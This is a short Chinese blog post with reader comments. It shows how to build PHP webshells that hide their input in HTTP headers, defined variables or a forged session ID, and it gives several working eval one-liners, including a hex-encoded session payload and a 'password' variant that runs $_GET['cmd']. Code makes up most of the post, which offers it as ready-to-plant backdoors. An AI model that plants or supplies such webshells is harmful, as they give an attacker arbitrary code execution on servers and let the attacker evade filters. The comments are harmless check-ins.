get_defined_vars()
、getallheaders()
是两个特性函数,我们可以通过这两个函数来构造我们的webshell
环境 | 函数 | 用法 |
---|---|---|
nginx | get_defined_vars() | 返回由所有已定义变量所组成的数组 |
apache | getallheaders() | 获取全部 HTTP 请求头信息 |
apache环境
<?php
eval(next(getallheaders()));
?>
apache和nginx环境通用
<?php
eval(implode(reset(get_defined_vars())));
?>
另外一种通过执行伪造的sessionid值,进行任意代码执行。
<?php
eval(hex2bin(session_id(session_start())));
?>
706870696e666f28293b
这个是phpinfo();
的hex编码。
给webshell加密码
<?php eval(get_defined_vars()['_GET']['cmd']);?>
版权属于:Xcnte' s Blog(除特别注明外)
本文链接:https://www.xcnte.com/archives/579/
本站文章采用 知识共享署名4.0 国际许可协议 进行许可,请在转载时注明出处及本声明!
滴!签到卡!请上车的乘客系好安全带,现在是:Thu Jun 13 2019 14:38:03 GMT+0800 (中国标准时间)
滴!签到卡!请上车的乘客系好安全带,现在是:Thu Jun 06 2019 15:29:32 GMT+0800 (中国标准时间)
写的很简单,也可能本来就是这么简单,但是我看不懂。 ̄﹃ ̄
滴!签到卡!请上车的乘客系好安全带,现在是:Tue Jun 04 2019 21:11:17 GMT+0800 (中国标准时间)
涨姿势了|´・ω・)ノ
滴!签到卡!请上车的乘客系好安全带,现在是:Tue Jun 04 2019 21:06:57 GMT+0800 (中国标准时间)